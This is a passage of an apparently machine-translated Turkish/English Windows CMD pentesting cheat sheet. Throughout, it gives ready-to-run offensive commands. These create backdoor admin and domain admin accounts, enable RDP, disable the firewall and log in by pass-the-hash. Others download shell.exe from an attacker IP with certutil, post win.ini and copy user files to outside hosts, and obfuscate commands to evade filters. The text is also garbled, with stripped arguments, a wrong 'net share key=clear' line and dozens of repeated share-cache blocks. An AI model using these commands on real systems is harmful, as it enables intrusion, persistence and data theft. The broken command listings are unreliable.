accounts and provide access control to various resources. In this section, we will explore some basic commands related to groups that can be useful for pentesters. #### List Groups To list all the groups on a Windows system, you can use the `net localgroup` command. This command will display the names of all the groups along with their descriptions. ```plaintext net localgroup ``` #### List Group Members To list the members of a specific group, you can use the `net localgroup` command followed by the group name. This command will display the names of all the users and other groups that are members of the specified group. ```plaintext net localgroup ``` #### Add User to Group To add a user to a specific group, you can use the `net localgroup` command followed by the group name and the username. This command will add the specified user to the specified group. ```plaintext net localgroup /add ``` #### Remove User from Group To remove a user from a specific group, you can use the `net localgroup` command followed by the group name and the username. This command will remove the specified user from the specified group. ```plaintext net localgroup /delete ``` #### Create Group To create a new group, you can use the `net localgroup` command followed by the group name and the /add option. This command will create a new group with the specified name. ```plaintext net localgroup /add ``` #### Delete Group To delete a group, you can use the `net localgroup` command followed by the group name and the /delete option. This command will delete the specified group. ```plaintext net localgroup /delete ``` These are some basic commands related to groups in Windows. Understanding how groups work and how to manage them can be helpful for pentesters during their engagements. ```bash #Local net localgroup #All available groups net localgroup Administrators #Info about a group (admins) net localgroup administrators [username] /add #Add user to administrators #Domain net group /domain #Info about domain groups net group /domain #Users that belongs to the group ``` To list active sessions, you can use the `query session` command. This command will display information about all active sessions on the Windows system. ```plaintext C:\> query session ``` Bu komutu kullanarak etkin oturumları listeyebilirsiniz. Bu komut, Windows sistemdeki tüm etkin oturumlar hakkında bilgi gösterecektir. ```plaintext C:\> query session ``` ``` qwinsta klist sessions ``` ### Parola Politikası A strong password policy is essential for maintaining the security of a system. It helps to prevent unauthorized access and protects sensitive information. Here are some key points to consider when implementing a password policy: * **Password Length**: Require passwords to be a minimum of 8 characters long. Longer passwords are generally more secure. * **Complexity**: Passwords should include a combination of uppercase and lowercase letters, numbers, and special characters. * **Password Expiration**: Set a policy that requires users to change their passwords regularly, such as every 90 days. * **Password History**: Prevent users from reusing their previous passwords by enforcing a password history policy. * **Account Lockout**: Implement an account lockout policy that temporarily locks an account after a certain number of failed login attempts. * **Password Recovery**: Use secure methods for password recovery, such as security questions or email verification. * **Education and Awareness**: Educate users about the importance of strong passwords and provide guidelines for creating and managing them. By implementing a strong password policy, you can significantly enhance the security of your system and protect against unauthorized access. ``` net accounts ``` ### Kimlik Bilgileri Credentials (kimlik bilgileri), bir kullanıcının kimliğini doğrulamak için kullanılan bilgilerdir. Bu bilgiler, genellikle kullanıcı adı ve paroladan oluşur. Kimlik bilgileri, bir kullanıcının yetkilendirilmiş erişim sağlamasına izin verir ve güvenliği sağlamak için gizli tutulmalıdır. #### Kullanıcı Adı ve Parola Kullanıcı adı ve parola, en yaygın kimlik bilgileri türüdür. Kullanıcı adı, bir kullanıcının sistemdeki benzersiz tanımlayıcısıdır. Parola ise kullanıcının kimliğini doğrulamak için kullanılan gizli bir dizedir. Güçlü bir parola seçmek, yetkisiz erişimi önlemek için önemlidir. #### Diğer Kimlik Bilgileri Türleri * Sertifika: Bir kullanıcının kimliğini doğrulamak için kullanılan dijital bir belgedir. * Biyometrik Veriler: Parmak izi, yüz tanıma veya retina taraması gibi fiziksel özelliklerin kullanıldığı kimlik doğrulama yöntemidir. * Anahtarlar: Kriptografik anahtarlar, kimlik doğrulama ve veri şifreleme için kullanılır. * Tokenlar: Fiziksel veya sanal cihazlar aracılığıyla kimlik doğrulama sağlayan küçük veri parçacıklarıdır. Kimlik bilgilerinin güvenliği, kullanıcıların yetkisiz erişimden korunmasını sağlamak için büyük önem taşır. Kullanıcılar, güçlü parolalar kullanmalı, kimlik bilgilerini güvende tutmalı ve kimlik doğrulama yöntemlerini dikkatli bir şekilde seçmelidir. ```bash cmdkey /list #List credential vaultcmd /listcreds:"Windows Credentials" /all #List Windows vault rundll32 keymgr.dll, KRShowKeyMgr #You need graphical access ``` ### Kullanıcılarla Kalıcılık When performing a penetration test, it is important to establish persistence on the target system in order to maintain access even after the initial compromise. This can be achieved by creating a new user account or by leveraging existing user accounts with weak passwords. Bir penetrasyon testi gerçekleştirirken, hedef sistemde erişimi sürdürebilmek için kalıcılık sağlamak önemlidir. Bu, yeni bir kullanıcı hesabı oluşturarak veya zayıf şifreleri olan mevcut kullanıcı hesaplarını kullanarak elde edilebilir. #### Creating a New User Account **Yeni Bir Kullanıcı Hesabı Oluşturma** To create a new user account, you can use the `net user` command in the Windows command prompt. Here is the syntax: Yeni bir kullanıcı hesabı oluşturmak için, Windows komut isteminde `net user` komutunu kullanabilirsiniz. İşte sözdizimi: ```plaintext net user /add ``` Replace `` with the desired username for the new account and `` with the desired password. This will create a new user account with the specified username and password. `` yerine yeni hesap için istediğiniz kullanıcı adını, `` ise istediğiniz şifreyi yazın. Bu, belirtilen kullanıcı adı ve şifreyle yeni bir kullanıcı hesabı oluşturacaktır. #### Leveraging Existing User Accounts **Mevcut Kullanıcı Hesaplarını Kullanma** If you have access to an existing user account with weak password, you can use it to establish persistence. Here are some techniques you can use: Zayıf bir şifreye sahip mevcut bir kullanıcı hesabına erişiminiz varsa, kalıcılık sağlamak için bunu kullanabilirsiniz. İşte kullanabileceğiniz bazı teknikler: * **Password Spraying**: Password spraying involves trying a small number of commonly used passwords against multiple user accounts. This can be done using tools like `Hydra` or `Burp Suite Intruder`. * **Şifre Sıçratma**: Şifre sıçratma, birkaç yaygın olarak kullanılan şifreyi birden fazla kullanıcı hesabına karşı denemeyi içerir. Bu, `Hydra` veya `Burp Suite Intruder` gibi araçlar kullanılarak yapılabilir. * **Password Cracking**: If you have access to the password hashes of user accounts, you can use password cracking tools like `John the Ripper` or `Hashcat` to crack the passwords. * **Şifre Kırma**: Kullanıcı hesaplarının şifre karma değerlerine erişiminiz varsa, `John the Ripper` veya `Hashcat` gibi şifre kırma araçlarını kullanarak şifreleri kırabilirsiniz. * **Pass-the-Hash**: Pass-the-Hash is a technique where you use the NTLM hash of a user's password to authenticate as that user without knowing the actual password. Tools like `Mimikatz` can be used for pass-the-hash attacks. * **Pass-the-Hash**: Pass-the-Hash, bir kullanıcının NTLM karma değerini kullanarak gerçek şifreyi bilmeden o kullanıcı olarak kimlik doğrulama yapma tekniğidir. `Mimikatz` gibi araçlar, pass-the-hash saldırıları için kullanılabilir. By leveraging existing user accounts, you can maintain persistence on the target system and continue to access it even if the initial compromise is detected and remediated. Mevcut kullanıcı hesaplarını kullanarak, hedef sistemde kalıcılığı sürdürebilir ve başlangıçta tespit edilen ve giderilen bir saldırı durumunda bile erişime devam edebilirsiniz. ```bash # Add domain user and put them in Domain Admins group net user username password /ADD /DOMAIN net group "Domain Admins" username /ADD /DOMAIN # Add local user and put them local Administrators group net user username password /ADD net localgroup Administrators username /ADD # Add user to insteresting groups: net localgroup "Remote Desktop Users" UserLoginName /add net localgroup "Debugger users" UserLoginName /add net localgroup "Power users" UserLoginName /add ``` ## Ağ ### Arayüzler, Rotalar, Portlar, Ana Bilgisayarlar ve DNS Önbelleği Arayüzler, ağa bağlı cihazların ağ trafiğini alıp ileten noktalardır. Arayüzlerin IP adresleri, alt ağ maskeleri ve diğer ağ yapılandırmaları vardır. Rotalar, ağ trafiğini yönlendiren yolları belirtir. Bir cihazın birden fazla ağa bağlı olması durumunda, rotalar trafiği doğru hedefe yönlendirmek için kullanılır. Portlar, ağ üzerindeki iletişim için belirlenmiş numaralardır. Her bir port, belirli bir hizmete veya protokole atanmıştır. Ana bilgisayarlar, ağ üzerindeki diğer cihazlarla iletişim kurmak için kullanılan cihazlardır. Her bir ana bilgisayarın benzersiz bir IP adresi vardır. DNS önbelleği, DNS sorgularının sonuçlarını geçici olarak saklayan bir mekanizmadır. Bu, daha hızlı ve verimli DNS çözümlemesi sağlar. ```bash ipconfig /all #Info about interfaces route print #Print available routes arp -a #Know hosts netstat -ano #Opened ports? type C:\WINDOWS\System32\drivers\etc\hosts ipconfig /displaydns | findstr "Record" | findstr "Name Host" ``` ### Güvenlik Duvarı Bir güvenlik duvarı, ağ trafiğini kontrol etmek ve istenmeyen erişimleri engellemek için kullanılan bir güvenlik önlemidir. Windows işletim sistemlerinde, Windows Güvenlik Duvarı adı verilen bir güvenlik duvarı bulunmaktadır. Bu güvenlik duvarı, gelen ve giden ağ trafiğini denetler ve belirli ağ protokollerini veya bağlantı noktalarını engelleyebilir. #### Güvenlik Duvarı Durumunu Kontrol Etme Güvenlik duvarının etkin olup olmadığını kontrol etmek için aşağıdaki komutu kullanabilirsiniz: ```plaintext netsh advfirewall show allprofiles ``` Bu komut, güvenlik duvarının etkin olup olmadığını ve hangi profillerde (genel, özel, etki alanı) etkin olduğunu gösterir. #### Güvenlik Duvarını Etkinleştirme veya Devre Dışı Bırakma Güvenlik duvarını etkinleştirmek veya devre dışı bırakmak için aşağıdaki komutları kullanabilirsiniz: ```plaintext netsh advfirewall set allprofiles state on ``` ```plaintext netsh advfirewall set allprofiles state off ``` İlk komut, güvenlik duvarını etkinleştirirken, ikinci komut güvenlik duvarını devre dışı bırakır. #### Güvenlik Duvarı Kurallarını Yönetme Güvenlik duvarı kurallarını yönetmek için aşağıdaki komutları kullanabilirsiniz: * Kuralları Listeleme: ```plaintext netsh advfirewall firewall show rule name=all ``` Bu komut, tüm güvenlik duvarı kurallarını listeler. * Kuralları Ekleme: ```plaintext netsh advfirewall firewall add rule name="Rule Name" dir=in action=allow protocol=TCP localport=12345 ``` Bu komut, belirli bir kural adıyla gelen TCP trafiğini belirtilen bir bağlantı noktasına izin veren bir kural ekler. * Kuralları Silme: ```plaintext netsh advfirewall firewall delete rule name="Rule Name" ``` Bu komut, belirli bir kural adına sahip olan bir güvenlik duvarı kuralını siler. #### Özet Bu bölümde, Windows işletim sistemlerindeki güvenlik duvarını kontrol etme, etkinleştirme/devre dışı bırakma ve kuralları yönetme konularını ele aldık. Güvenlik duvarı, ağ trafiğini kontrol etmek ve istenmeyen erişimleri engellemek için önemli bir güvenlik önlemidir. ```bash netsh firewall show state # FW info, open ports netsh advfirewall firewall show rule name=all netsh firewall show config # FW info Netsh Advfirewall show allprofiles NetSh Advfirewall set allprofiles state off #Turn Off NetSh Advfirewall set allprofiles state on #Trun On netsh firewall set opmode disable #Turn Off #How to open ports netsh advfirewall firewall add rule name="NetBIOS UDP Port 138" dir=out action=allow protocol=UDP localport=138 netsh advfirewall firewall add rule name="NetBIOS TCP Port 139" dir=in action=allow protocol=TCP localport=139 netsh firewall add portopening TCP 3389 "Remote Desktop" #Enable Remote Desktop reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f netsh firewall add portopening TCP 3389 "Remote Desktop" ::netsh firewall set service remotedesktop enable #I found that this line is not needed ::sc config TermService start= auto #I found that this line is not needed ::net start Termservice #I found that this line is not needed #Enable Remote Desktop with wmic wmic rdtoggle where AllowTSConnections="0" call SetAllowTSConnections "1" ##or wmic /node:remotehost path Win32_TerminalServiceSetting where AllowTSConnections="0" call SetAllowTSConnections "1" #Enable Remote assistance: reg add “HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server” /v fAllowToGetHelp /t REG_DWORD /d 1 /f netsh firewall set service remoteadmin enable #Ninja combo (New Admin User, RDP + Rassistance + Firewall allow) net user hacker Hacker123! /add & net localgroup administrators hacker /add & net localgroup "Remote Desktop Users" hacker /add & reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f & reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fAllowToGetHelp /t REG_DWORD /d 1 /f & netsh firewall add portopening TCP 3389 "Remote Desktop" & netsh firewall set service remoteadmin enable ::Connect to RDP (using hash or password) xfreerdp /u:alice /d:WORKGROUP /pth:b74242f37e47371aff835a6ebcac4ffe /v:10.11.1.49 xfreerdp /u:hacker /d:WORKGROUP /p:Hacker123! /v:10.11.1.49 ``` ### Paylaşımlar ```plaintext C:\> net share ``` Bu komut, bir Windows sistemdeki mevcut paylaşımları listeler. ```plaintext C:\> net share ``` Bu komut, belirli bir paylaşımın ayrıntılarını görüntüler. ```plaintext C:\> net share /delete ``` Bu komut, belirli bir paylaşımı siler. ```plaintext C:\> net share = /grant:, ``` Bu komut, belirli bir kullanıcıya belirli bir paylaşıma erişim izni verir. ```plaintext C:\> net share = /unlimited ``` Bu komut, belirli bir paylaşımın maksimum kullanıcı sayısını sınırsız yapar. ```plaintext C:\> net share = /remark:"" ``` Bu komut, belirli bir paylaşım için bir açıklama ekler. ```plaintext C:\> net share = /cache:None ``` Bu komut, belirli bir paylaşımın önbelleğini devre dışı bırakır. ```plaintext C:\> net share = /cache:Manual ``` Bu komut, belirli bir paylaşımın önbelleğini manuel olarak yapılandırır. ```plaintext C:\> net share = /cache:Auto ``` Bu komut, belirli bir paylaşımın önbelleğini otomatik olarak yapılandırır. ```plaintext C:\> net share = /cache:Documents ``` Bu komut, belirli bir paylaşımın önbelleğini belgeler olarak yapılandırır. ```plaintext C:\> net share = /cache:Programs ``` Bu komut, belirli bir paylaşımın önbelleğini programlar olarak yapılandırır. ```plaintext C:\> net share = /cache:BranchCache ``` Bu komut, belirli bir paylaşımın önbelleğini BranchCache olarak yapılandırır. ```plaintext C:\> net share = /cache:None ``` Bu komut, belirli bir paylaşımın önbelleğini devre dışı bırakır. ```plaintext C:\> net share = /cache:Manual ``` Bu komut, belirli bir paylaşımın önbelleğini manuel olarak yapılandırır. ```plaintext C:\> net share = /cache:Auto ``` Bu komut, belirli bir paylaşımın önbelleğini otomatik olarak yapılandırır. ```plaintext C:\> net share = /cache:Documents ``` Bu komut, belirli bir paylaşımın önbelleğini belgeler olarak yapılandırır. ```plaintext C:\> net share = /cache:Programs ``` Bu komut, belirli bir paylaşımın önbelleğini programlar olarak yapılandırır. ```plaintext C:\> net share = /cache:BranchCache ``` Bu komut, belirli bir paylaşımın önbelleğini BranchCache olarak yapılandırır. ```plaintext C:\> net share = /cache:None ``` Bu komut, belirli bir paylaşımın önbelleğini devre dışı bırakır. ```plaintext C:\> net share = /cache:Manual ``` Bu komut, belirli bir paylaşımın önbelleğini manuel olarak yapılandırır. ```plaintext C:\> net share = /cache:Auto ``` Bu komut, belirli bir paylaşımın önbelleğini otomatik olarak yapılandırır. ```plaintext C:\> net share = /cache:Documents ``` Bu komut, belirli bir paylaşımın önbelleğini belgeler olarak yapılandırır. ```plaintext C:\> net share = /cache:Programs ``` Bu komut, belirli bir paylaşımın önbelleğini programlar olarak yapılandırır. ```plaintext C:\> net share = /cache:BranchCache ``` Bu komut, belirli bir paylaşımın önbelleğini BranchCache olarak yapılandırır. ```plaintext C:\> net share = /cache:None ``` Bu komut, belirli bir paylaşımın önbelleğini devre dışı bırakır. ```plaintext C:\> net share = /cache:Manual ``` Bu komut, belirli bir paylaşımın önbelleğini manuel olarak yapılandırır. ```plaintext C:\> net share = /cache:Auto ``` Bu komut, belirli bir paylaşımın önbelleğini otomatik olarak yapılandırır. ```plaintext C:\> net share = /cache:Documents ``` Bu komut, belirli bir paylaşımın önbelleğini belgeler olarak yapılandırır. ```plaintext C:\> net share = /cache:Programs ``` Bu komut, belirli bir paylaşımın önbelleğini programlar olarak yapılandırır. ```plaintext C:\> net share = /cache:BranchCache ``` Bu komut, belirli bir paylaşımın önbelleğini BranchCache olarak yapılandırır. ```plaintext C:\> net share = /cache:None ``` Bu komut, belirli bir paylaşımın önbelleğini devre dışı bırakır. ```plaintext C:\> net share = /cache:Manual ``` Bu komut, belirli bir paylaşımın önbelleğini manuel olarak yapılandırır. ```plaintext C:\> net share = /cache:Auto ``` Bu komut, belirli bir paylaşımın önbelleğini otomatik olarak yapılandırır. ```plaintext C:\> net share = /cache:Documents ``` Bu komut, belirli bir paylaşımın önbelleğini belgeler olarak yapılandırır. ```plaintext C:\> net share = /cache:Programs ``` Bu komut, belirli bir paylaşımın önbelleğini programlar olarak yapılandırır. ```plaintext C:\> net share = /cache:BranchCache ``` Bu komut, belirli bir paylaşımın önbelleğini BranchCache olarak yapılandırır. ```plaintext C:\> net share = /cache:None ``` Bu komut, belirli bir paylaşımın önbelleğini devre dışı bırakır. ```plaintext C:\> net share = /cache:Manual ``` Bu komut, belirli bir paylaşımın önbelleğini manuel olarak yapılandırır. ```plaintext C:\> net share = /cache:Auto ``` Bu komut, belirli bir paylaşımın önbelleğini otomatik olarak yapılandırır. ```plaintext C:\> net share = /cache:Documents ``` Bu komut, belirli bir paylaşımın önbelleğini belgeler olarak yapılandırır. ```plaintext C:\> net share = /cache:Programs ``` Bu komut, belirli bir paylaşımın önbelleğini programlar olarak yapılandırır. ```plaintext C:\> net share = /cache:BranchCache ``` Bu komut, belirli bir paylaşımın önbelleğini BranchCache olarak yapılandırır. ```plaintext C:\> net share = /cache:None ``` Bu komut, belirli bir paylaşımın önbelleğini devre dışı bırakır. ```plaintext C:\> net share = /cache:Manual ``` Bu komut, belirli bir paylaşımın önbelleğini manuel olarak yapılandırır. ```plaintext C:\> net share = /cache:Auto ``` Bu komut, belirli bir paylaşımın önbelleğini otomatik olarak yapılandırır. ```plaintext C:\> net share = /cache:Documents ``` Bu komut, belirli bir paylaşımın önbelleğini belgeler olarak yapılandırır. ```plaintext C:\> net share = /cache:Programs ``` Bu komut, belirli bir paylaşımın önbelleğini programlar olarak yapılandırır. ```plaintext C:\> net share = /cache:BranchCache ``` Bu komut, belirli bir paylaşımın önbelleğini BranchCache olarak yapılandırır. ```plaintext C:\> net share = /cache:None ``` Bu komut, belirli bir paylaşımın önbelleğini devre dışı bırakır. ```plaintext C:\> net share = /cache:Manual ``` Bu komut, belirli bir paylaşımın önbelleğini manuel olarak yapılandırır. ```plaintext C:\> net share = /cache:Auto ``` Bu komut, belirli bir paylaşımın önbelleğini otomatik olarak yapılandırır. ```plaintext C:\> net share = /cache:Documents ``` Bu komut, belirli bir paylaşımın önbelleğini belgeler olarak yapılandırır. ```plaintext C:\> net share = /cache:Programs ``` Bu komut, belirli bir paylaşımın önbelleğini programlar olarak yapılandırır. ```plaintext C:\> net share = /cache:BranchCache ``` Bu komut, belirli bir paylaşımın önbelleğini BranchCache olarak yapılandırır. ```plaintext C:\> net share = /cache:None ``` Bu komut, belirli bir paylaşımın önbelleğini devre dışı bırakır. ```plaintext C:\> net share = /cache:Manual ``` Bu komut, belirli bir paylaşımın önbelleğini manuel olarak yapılandırır. ```plaintext C:\> net share = /cache:Auto ``` Bu komut, belirli bir paylaşımın önbelleğini otomatik olarak yapılandırır. ```plaintext C:\> net share = /cache:Documents ``` Bu komut, belirli bir paylaşımın önbelleğini belgeler olarak yapılandırır. ```plaintext C:\> net share = /cache:Programs ``` Bu komut, belirli bir paylaşımın önbelleğini programlar olarak yapılandırır. ```plaintext C:\> net share = /cache:BranchCache ``` Bu komut, belirli bir paylaşımın önbelleğini BranchCache olarak yapılandırır. ```plaintext C:\> net share = /cache:None ``` Bu komut, belirli bir paylaşımın önbelleğini devre dışı bırakır. ```plaintext C:\> net share = /cache:Manual ``` Bu komut, belirli bir paylaşımın önbelleğini manuel olarak yapılandırır. ```plaintext C:\> net share = /cache:Auto ``` Bu komut, belirli bir paylaşımın önbelleğini otomatik olarak yapılandırır. ```plaintext C:\> net share = /cache:Documents ``` Bu komut, belirli bir paylaşımın önbelleğini belgeler olarak yapılandırır. ```plaintext C:\> net share = /cache:Programs ``` Bu komut, belirli bir paylaşımın önbelleğini programlar olarak yapılandırır. ```plaintext C:\> net share = /cache:BranchCache ``` Bu komut, belirli bir paylaşımın önbelleğini BranchCache olarak yapılandırır. ```plaintext C:\> net share = /cache:None ``` Bu komut, belirli bir paylaşımın önbelleğini devre dışı bırakır. ```plaintext C:\> net share = /cache:Manual ``` Bu komut, belirli bir paylaşımın önbelleğini manuel olarak yapılandırır. ```plaintext C:\> net share = /cache:Auto ``` Bu komut, belirli bir paylaşımın önbelleğini otomatik olarak yapılandırır. ```plaintext C:\> net share = /cache:Documents ``` Bu komut, belirli bir paylaşımın önbelleğini belgeler olarak yapılandırır. ```plaintext C:\> net share = /cache:Programs ``` Bu komut, belirli bir paylaşımın önbelleğini programlar olarak yapılandırır. ```plaintext C:\> net share = /cache:BranchCache ``` Bu komut, belirli bir paylaşımın önbelleğini BranchCache olarak yapılandırır. ```plaintext C:\> net share = /cache:None ``` Bu komut, belirli bir paylaşımın önbelleğini devre dışı bırakır. ```plaintext C:\> net share = /cache:Manual ``` Bu komut, belirli bir paylaşımın önbelleğini manuel olarak yapılandırır. ```plaintext C:\> net share = /cache:Auto ``` Bu komut, belirli bir paylaşımın önbelleğini otomatik olarak yapılandırır. ```plaintext C:\> net share = /cache:Documents ``` Bu komut, belirli bir paylaşımın önbelleğini belgeler olarak yapılandırır. ```plaintext C:\> net share = /cache:Programs ``` Bu komut, belirli bir paylaşımın önbelleğini programlar olarak yapılandırır. ```plaintext C:\> net share = /cache:BranchCache ``` Bu komut, belirli bir paylaşımın önbelleğini BranchCache olarak yapılandırır. ```plaintext C:\> net share = /cache:None ``` Bu komut, belirli bir paylaşımın önbelleğini devre dışı bırakır. ```plaintext C:\> net share = /cache:Manual ``` Bu komut, belirli bir paylaşımın önbelleğini manuel olarak yapılandırır. ```plaintext C:\> net share = /cache:Auto ``` Bu komut, belirli bir paylaşımın önbelleğini otomatik olarak yapılandırır. ````plaintext C:\> net share key=clear #Get Cleartext Pass ``` SNMP (Simple Network Management Protocol), basit bir ağ yönetim protokolüdür. SNMP, ağ cihazlarının durumunu izlemek, performans istatistiklerini toplamak ve ağ yönetimi için bilgi sağlamak için kullanılır. SNMP, ağ cihazlarına yönelik saldırılar için bir hedef olabilir. Saldırganlar, SNMP protokolünü kullanarak ağ cihazlarına yetkisiz erişim elde edebilir veya ağ cihazlarının yapılandırmasını değiştirebilir. SNMP saldırılarından korunmak için aşağıdaki önlemleri alabilirsiniz: * SNMP sürümünü güncelleyin ve en son güvenlik yamalarını uygulayın. * SNMP topluluk dizesini güçlü bir parola ile değiştirin. * SNMP trafiğini şifreleyin veya güvenli bir kanal üzerinden iletişim kurun. * SNMP erişimini sınırlayın ve yalnızca güvenilir IP adreslerinden gelen isteklere izin verin. * SNMP hizmetini gereksiz yere devre dışı bırakın veya kullanılmayan SNMP özelliklerini devre dışı bırakın. SNMP saldırılarına karşı bu önlemleri alarak ağınızı daha güvenli hale getirebilirsiniz. ``` reg query HKLM\SYSTEM\CurrentControlSet\Services\SNMP /s ``` ### Ağ Arayüzleri Network interfaces, also known as network adapters or NICs (Network Interface Cards), are hardware devices that allow a computer to connect to a network. They provide the physical connection between the computer and the network, enabling data transmission. Ağ arayüzleri, aynı zamanda ağ adaptörleri veya NIC'ler (Network Interface Cards) olarak da bilinen donanım cihazlardır. Bir bilgisayarın bir ağa bağlanmasını sağlarlar. Bilgisayar ve ağ arasında fiziksel bağlantıyı sağlayarak veri iletimini mümkün kılarlar. In Windows, you can view the network interfaces using the `ipconfig` command. Open a command prompt and type `ipconfig` to display the network configuration information. Windows'ta, ağ arayüzlerini `ipconfig` komutunu kullanarak görüntüleyebilirsiniz. Bir komut istemi açın ve ağ yapılandırma bilgilerini görüntülemek için `ipconfig` yazın. The output will show a list of network interfaces along with their IP addresses, subnet masks, and default gateways. Each interface will have a unique identifier called the MAC address. Çıktı, ağ arayüzlerinin IP adresleri, alt ağ maskeleri ve varsayılan ağ geçitleri ile birlikte bir liste olarak gösterilir. Her arayüzün bir MAC adresi adı verilen benzersiz bir tanımlayıcısı vardır. You can also use the `netsh` command to manage network interfaces. For example, you can use `netsh interface show interface` to display a list of all network interfaces on the system. Ayrıca, ağ arayüzlerini yönetmek için `netsh` komutunu da kullanabilirsiniz. Örneğin, `netsh interface show interface` komutunu kullanarak sistemdeki tüm ağ arayüzlerinin bir listesini görüntüleyebilirsiniz. Understanding the network interfaces on a system is important for various tasks, such as troubleshooting network connectivity issues, configuring network settings, or performing network-based attacks during penetration testing. Bir sistemdeki ağ arayüzlerini anlamak, ağ bağlantısı sorunlarını giderme, ağ ayarlarını yapılandırma veya penetrasyon testi sırasında ağ tabanlı saldırılar gerçekleştirme gibi çeşitli görevler için önemlidir. ```bash ipconfig /all ``` ### ARP tablosu ARP (Address Resolution Protocol), bir IP adresinin bir MAC adresine nasıl eşlendiğini belirlemek için kullanılan bir protokoldür. ARP tablosu, bir cihazın ağdaki diğer cihazların IP adresleri ile ilişkili MAC adreslerini tuttuğu bir veritabanıdır. Bu tablo, ağ trafiğini yönlendirmek ve hedef cihazlara doğru paketleri iletmek için kullanılır. ARP tablosunu görüntülemek için aşağıdaki komutu kullanabilirsiniz: ```plaintext arp -a ``` Bu komut, ARP tablosundaki tüm girişleri listeleyecektir. Her giriş, bir IP adresi ve ona karşılık gelen bir MAC adresi içerir. ARP tablosu, ağdaki cihazlarla iletişim kurarken IP adreslerini MAC adreslerine çevirmek için kullanılır. ```bash arp -A ``` ## İndirme Bitsadmin.exe ``` bitsadmin /create 1 bitsadmin /addfile 1 https://live.sysinternals.com/autoruns.exe c:\data\playfolder\autoruns.exe bitsadmin /RESUME 1 bitsadmin /complete 1 ``` CertReq.exe, also known as Certificate Request Processor, is a command-line tool used for managing certificate requests and certificates in Windows operating systems. It is commonly used by system administrators and security professionals for tasks related to certificate management. CertReq.exe allows users to generate certificate requests, submit them to a certification authority (CA), retrieve issued certificates, and perform various operations on certificates, such as installing, exporting, and deleting them. To use CertReq.exe, you need to open a command prompt and run the tool with the appropriate command-line options. Here are some commonly used commands: * **certreq -new**: Generates a new certificate request based on the information provided in an input file. * **certreq -submit**: Submits a certificate request to a CA for processing. * **certreq -retrieve**: Retrieves a certificate issued by a CA. * **certreq -accept**: Installs a certificate into the local certificate store. * **certreq -export**: Exports a certificate to a file. * **certreq -delete**: Deletes a certificate from the local certificate store. These are just a few examples of the commands that can be used with CertReq.exe. The tool offers many more options and functionalities, which can be explored by referring to the official documentation or by using the **certreq -?** command to display the help menu. CertReq.exe is a powerful tool that can be leveraged by pentesters and security professionals during various stages of a penetration test or security assessment. It provides a convenient way to manage certificates and interact with CAs in a Windows environment. ``` CertReq -Post -config https://example.org/ c:\windows\win.ini output.txt ``` `Certutil.exe` is a command-line utility in Windows that is used to manage certificates. It can be used to perform various operations such as installing, exporting, and verifying certificates. Here are some common commands that can be used with `certutil.exe`: * **View certificate details**: `certutil -viewstore ` * **Install a certificate**: `certutil -addstore ` * **Export a certificate**: `certutil -exportPFX -p ` * **Verify a certificate**: `certutil -verify ` * **Delete a certificate**: `certutil -delstore ` Note: Replace `` with the name of the certificate store (e.g., `Root`, `My`, `CA`), `` with the path to the certificate file, `` with the thumbprint of the certificate, and `` with the path to the PFX file. For more information and additional commands, you can refer to the [Microsoft documentation](https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/certutil). ``` certutil.exe -urlcache -split -f "http://10.10.14.13:8000/shell.exe" s.exe ``` **Daha fazlasını bulmak için** [**https://lolbas-project.github.io**](https://lolbas-project.github.io/) **adresinde `Download` kelimesini arayın.** ## Çeşitli ```bash cd #Get current dir cd C:\path\to\dir #Change dir dir #List current dir dir /a:h C:\path\to\dir #List hidden files dir /s /b #Recursive list without shit time #Get current time date #Get current date shutdown /r /t 0 #Shutdown now type #Cat file #Runas runas /savecred /user:WORKGROUP\Administrator "\\10.XXX.XXX.XXX\SHARE\evil.exe" #Use saved credentials runas /netonly /user:\ "cmd.exe" ::The password will be prompted #Hide attrib +h file #Set Hidden attrib -h file #Quit Hidden #Give full control over a file that you owns icacls /t /e /p :F icacls /e /r #Remove the permision #Recursive copy to smb xcopy /hievry C:\Users\security\.yawcam \\10.10.14.13\name\win #exe2bat to transform exe file in bat file #ADS dir /r #Detect ADS more file.txt:ads.txt #read ADS powershell (Get-Content file.txt -Stream ads.txt) # Get error messages from code net helpmsg 32 #32 is the code in that case ``` ### Karakter Kara Listesini Atlama Bazı durumlarda, hedef sistemdeki bir uygulama veya güvenlik mekanizması, belirli karakterleri engellemek için bir kara liste kullanabilir. Ancak, bu kara listeyi atlamanın yolları vardır. İşte bazı yöntemler: #### 1. Karakterleri Değiştirme Engellenen karakterleri, benzer görünümlü başka karakterlerle değiştirebilirsiniz. Örneğin, "a" harfini "4" ile değiştirebilirsiniz. Bu şekilde, engellenen karakteri kullanmadan hedef sisteme giriş yapabilirsiniz. #### 2. Karakterleri Kodlama Engellenen karakterleri, kodlama teknikleri kullanarak atlatabilirsiniz. Örneğin, URL kodlaması veya Unicode kodlaması gibi yöntemlerle karakterleri değiştirerek engellemeyi aşabilirsiniz. #### 3. Karakterleri Parçalama Engellenen karakterleri parçalayarak, hedef sisteme giriş yapabilirsiniz. Örneğin, "admin" kelimesini "a d m i n" olarak yazabilirsiniz. Bu şekilde, engellenen karakterleri kullanmadan hedef sisteme erişebilirsiniz. #### 4. Karakterleri Atlatma Engellenen karakterleri tamamen atlayarak, hedef sisteme giriş yapabilirsiniz. Örneğin, bir komut dosyası veya araç kullanarak engellenen karakterleri otomatik olarak atlayabilirsiniz. Bu yöntemler, karakter kara listesini atlamanıza yardımcı olabilir. Ancak, her durumda etkili olmayabilir. Bu nedenle, hedef sistemi ve engelleme mekanizmasını dikkatlice analiz etmek önemlidir. ```bash echo %HOMEPATH:~6,-11% #\ who^ami #whoami ``` ### DOSfuscation Obfuscated CMD satırı oluşturur. ```powershell git clone https://github.com/danielbohannon/Invoke-DOSfuscation.git cd Invoke-DOSfuscation Import-Module .\Invoke-DOSfuscation.psd1 Invoke-DOSfuscation help SET COMMAND type C:\Users\Administrator\Desktop\flag.txt encoding ``` ### Dinleme adresi ACL'leri Yönetici olmadan [http://+:80/Temporary\_Listen\_Addresses/](http://+/Temporary\_Listen\_Addresses/) üzerinde dinleyebilirsiniz. ```bash netsh http show urlacl ``` ### Manuel DNS kabuğu 